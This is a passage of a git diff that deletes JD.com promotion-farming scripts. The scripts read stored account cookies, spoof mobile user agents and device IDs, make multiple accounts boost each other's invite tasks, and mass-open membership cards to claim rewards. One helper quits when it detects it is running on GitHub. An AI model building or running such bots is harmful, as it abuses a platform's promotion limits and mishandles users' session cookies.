$.joyytoken};` - } - } -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` - $.UUID = $.UA.split(';') && $.UA.split(';')[4] || '' - $.joyytoken = '' -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_olympicgames.js b/backUp/jd_olympicgames.js deleted file mode 100644 index 8a31a23..0000000 --- a/backUp/jd_olympicgames.js +++ /dev/null @@ -1,539 +0,0 @@ -/* -全民运动会 -更新时间:2021-7-8 -活动入口:首页右侧下方 -备注:暂时先互助,优先向前助力 -1 10 * * * https://raw.githubusercontent.com/cdle/jd_study/main/jd_olympicgames.js -*/ -const $ = Env("全民运动会") -const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random()*4+10)}.${Math.ceil(Math.random()*4)};${randomString(40)}` -let cookiesArr = [] -let cookie = '' -let inviters = [] -let uuid = randomString(40); - -!(async () => { - await requireConfig() - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - return; - } - len = cookiesArr.length - for (let i = 0; i < len+4; i++) { - if (cookiesArr[i % len]) { - cookie = cookiesArr[i % len]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - success = 0 - inviters: for(var key in inviters){ - if(inviters[key].index==i % len || inviters[key].times >= inviters[key].maxTimes){ - continue - } - assist = await requestApi("assist",{ - inviteId: inviters[key].id, - type:"confirm", - ss:"{\"extraData\":{\"log\":\"\",\"sceneid\":\"OY217Inviteh5\"},\"random\":\""+randomString(8)+"\"}", - }) - if(!assist?.data){ - continue - } - switch (assist.data.bizCode) { - case 0: - console.log(`账号${i%len+1}助力账号${inviters[key].index+1}成功`) - inviters[key].times++ - success++ - if(success>=3){ - break inviters - } - break - case -403://帮过 - console.log(`账号${i%len+1}助力过账号${inviters[key].index+1}了`) - break - case -405: - console.log(`账号${i%len+1}没有助力次数了`) - break inviters - case -1001://火爆 - console.log(`账号${i%len+1}是黑号`) - break inviters - default: - break inviters - } - } - if(i>=len) continue - helpInfo = {} - taskInfo = await requestApi("getTaskDetail",{appSign: "1"}) - if (!taskInfo?.data?.result?.inviteId) continue - helpInfo.id = taskInfo?.data?.result?.inviteId - taskInfo.data.result.taskVos.forEach(function (task) { - if(task.taskName == "邀请好友助力"){ - if (task.times < task.maxTimes) { - helpInfo.maxTimes = task.maxTimes - helpInfo.times = task.times - helpInfo.index = i%len - inviters.push(helpInfo) - } - } - }); - } - } -})() - -function requestApi(functionId, params) { - if (!params) { - params = {} - } - return new Promise(resolve => { - $.post({ - url: `https://api.m.jd.com/client.action?advId=olympicgames_${functionId}`, - headers: { - 'Host': 'api.m.jd.com', - 'accept': 'application/json, text/plain, */*', - 'content-type': 'application/x-www-form-urlencoded', - 'origin': 'https://wbbny.m.jd.com', - 'accept-language': 'zh-cn', - 'User-Agent': ua, - 'cookie': cookie - }, - body: `functionId=olympicgames_${functionId}&body=${JSON.stringify(params)}&client=wh5&clientVersion=1.0.0&uuid=${uuid}&appid=o2_act`, - }, (_, resp, data) => { - try { - data = JSON.parse(data) - } catch (e) { - $.logErr('Error: ', e, resp) - } finally { - resolve(data) - } - }) - }) -} - -function requireConfig() { - return new Promise(resolve => { - notify = $.isNode() ? require('./sendNotify') : ''; - const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - if (jdCookieNode[item]) { - cookiesArr.push(jdCookieNode[item]) - } - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - } else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); - } - console.log(`共${cookiesArr.length}个京东账号\n`) - resolve() - }) -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function randomString(e) { - e = e || 32; - let t = "abcdefhijkmnprstwxyz2345678", - a = t.length, - n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function Env(t, e) { - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GIT_HUB") > -1 && process.exit(0); - class s { - constructor(t) { - this.env = t - } - send(t, e = "GET") { - t = "string" == typeof t ? { - url: t - } : t; - let s = this.get; - return "POST" === e && (s = this.post), new Promise((e, i) => { - s.call(this, t, (t, s, r) => { - t ? i(t) : e(s) - }) - }) - } - get(t) { - return this.send.call(this.env, t) - } - post(t) { - return this.send.call(this.env, t, "POST") - } - } - return new class { - constructor(t, e) { - this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) - } - isNode() { - return "undefined" != typeof module && !!module.exports - } - isQuanX() { - return "undefined" != typeof $task - } - isSurge() { - return "undefined" != typeof $httpClient && "undefined" == typeof $loon - } - isLoon() { - return "undefined" != typeof $loon - } - toObj(t, e = null) { - try { - return JSON.parse(t) - } catch (e) { - return e - } - } - toStr(t, e = null) { - try { - return JSON.stringify(t) - } catch (e) { - return e - } - } - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) try { - s = JSON.parse(this.getdata(t)) - } catch {} - return s - } - setjson(t, e) { - try { - return this.setdata(JSON.stringify(t), e) - } catch { - return !1 - } - } - getScript(t) { - return new Promise(e => { - this.get({ - url: t - }, (t, s, i) => e(i)) - }) - } - runScript(t, e) { - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; - const [o, h] = i.split("@"), n = { - url: `http://${h}/v1/scripting/evaluate`, - body: { - script_text: t, - mock_type: "cron", - timeout: r - }, - headers: { - "X-Key": o, - Accept: "*/*" - } - }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - loaddata() { - if (!this.isNode()) return {}; { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e); - if (!s && !i) return {}; { - const i = s ? t : e; - try { - return JSON.parse(this.fs.readFileSync(i)) - } catch (t) { - return {} - } - } - } - } - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e), - r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) - if (r = Object(r)[t], void 0 === r) return s; - return r - } - lodash_set(t, e, s) { - return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) - } - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; - if (r) try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch (t) { - e = "" - } - } - return e - } - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) - } - } else s = this.setval(t, e); - return s - } - getval(t) { - return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null - } - setval(t, e) { - return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null - } - initGotEnv(t) { - this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) - } - get(t, e = (() => {})) { - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.get(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar - } - } catch (t) { - this.logErr(t) - } - }).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - })) - } - post(t, e = (() => {})) { - if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.post(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - }); - else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t)); - else if (this.isNode()) { - this.initGotEnv(t); - const { - url: s, - ...i - } = t; - this.got.post(s, i).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - }) - } - } - time(t, e = null) { - const s = e ? new Date(e) : new Date; - let i = { - "M+": s.getMonth() + 1, - "d+": s.getDate(), - "H+": s.getHours(), - "m+": s.getMinutes(), - "s+": s.getSeconds(), - "q+": Math.floor((s.getMonth() + 3) / 3), - S: s.getMilliseconds() - }; - /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); - for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); - return t - } - msg(e = t, s = "", i = "", r) { - const o = t => { - if (!t) return t; - if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { - "open-url": t - } : this.isSurge() ? { - url: t - } : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], - s = t.mediaUrl || t["media-url"]; - return { - openUrl: e, - mediaUrl: s - } - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, - s = t["media-url"] || t.mediaUrl; - return { - "open-url": e, - "media-url": s - } - } - if (this.isSurge()) { - let e = t.url || t.openUrl || t["open-url"]; - return { - url: e - } - } - } - }; - if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) - } - } - log(...t) { - t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) - } - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - wait(t) { - return new Promise(e => setTimeout(e, t)) - } - done(t = {}) { - const e = (new Date).getTime(), - s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - }(t, e) -} \ No newline at end of file diff --git a/backUp/jd_opencard2.js b/backUp/jd_opencard2.js deleted file mode 100644 index 72d5a1a..0000000 --- a/backUp/jd_opencard2.js +++ /dev/null @@ -1,334 +0,0 @@ -/* -一次性的 跑一次就行了 -[task_local] -#柠檬一次性开卡一组 -0 13 * * * -*/ -const $ = new Env('柠檬一次性开卡一组'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -const randomCount = $.isNode() ? 20 : 5; -const notify = $.isNode() ? require('./sendNotify') : ''; -let merge = {} -let codeList = [] -const logs =0; -let allMessage = ''; - -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -const JD_API_HOST = `https://api.m.jd.com/client.action`; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.beans = 0 - message = '' - - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - - for (let i = 0; i < 9; i++) { - - await task() - } - - for (let i = 0; i < memberList.length; i++) { - cardid = memberList[i].cardId - $.log("开卡: "+cardid) - await opencard(cardid) - - } - for (let i = 0; i < memberList.length; i++) { - cardid = memberList[i].cardId - $.log("领豆: "+cardid) - - await getReward(cardid) - } - - } - } - -if ($.isNode() && allMessage) { - await notify.sendNotify(`${$.name}`, `${allMessage}` ) - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - - -async function opencard(venderId){ - return new Promise((resolve) => { - - let nm_url = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body={"venderId":"${venderId}"}&client=H5&clientVersion=9.2.0&uuid=88888&jsonp=jsonp_1626403825389_16205`, - - headers: { - - "Cookie": cookie, - "Origin": "https://api.m.jd.com", - "Host": "api.m.jd.com", - "User-Agent": "Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1", - } - - } - $.get(nm_url,async(error, response, data) =>{ - try{ - // data = JSON.parse(data); - //$.log(data) - if(logs)$.log(data) - data = data.match(/(\{[^()]+\}.+)\);/)[1] - data = JSON.parse(data); - if(data.success == true){ - $.log(data.message) - }else if(data.success == false){ - $.log(data.message) - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function task(){ - return new Promise(async (resolve) => { - - let options = { - url: 'https://jdjoy.jd.com/module/task/v2/getActivity?configCode=e2a35e0426e846499fc9d73041e1c20b&eid=&fp=', - - headers: { -"Host": "jdjoy.jd.com", -"Content-Type": "application/json;charset=utf-8", - "Cookie": cookie, - "Origin": "https://prodev.m.jd.com", - "User-Agent": "Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1", - "Referer": "https://prodev.m.jd.com/mall/active/XnBpgvj3mF26zaNo6HChZumELh4/index.html?babelChannel=ttt1&tttparams=0MgQEmijIeyJnTG5nIjoiMTE0LjA2MjU4MiIsImdMYXQiOiIyOS41NDE0NDgifQ9%3D%3D&lng=114.062582&lat=29.541448&sid=155af26c71756ef0318aeb0fafbed57w&un_area=4_48201_54794_0", - } - - } - $.get(options, async (err, resp, data) => { - $.log("task") - //$.log(data) - try{ - data = JSON.parse(data); - - - - if (data.success == true) { - tasklist = data.data.dailyTask.taskList - for (let i = 0; i < tasklist.length; i++) { - - - itemId = tasklist[0].item.itemId - $.log(itemId) - await dotask(1,itemId) - await $.wait(5000) - - itemId1 = tasklist[1].item.itemId - $.log(itemId1) - await dotask(2,itemId1) - //await $.wait(5000) - - } - memberList = data.data.memberTask.memberList - - - } else if (data.success == false){ - 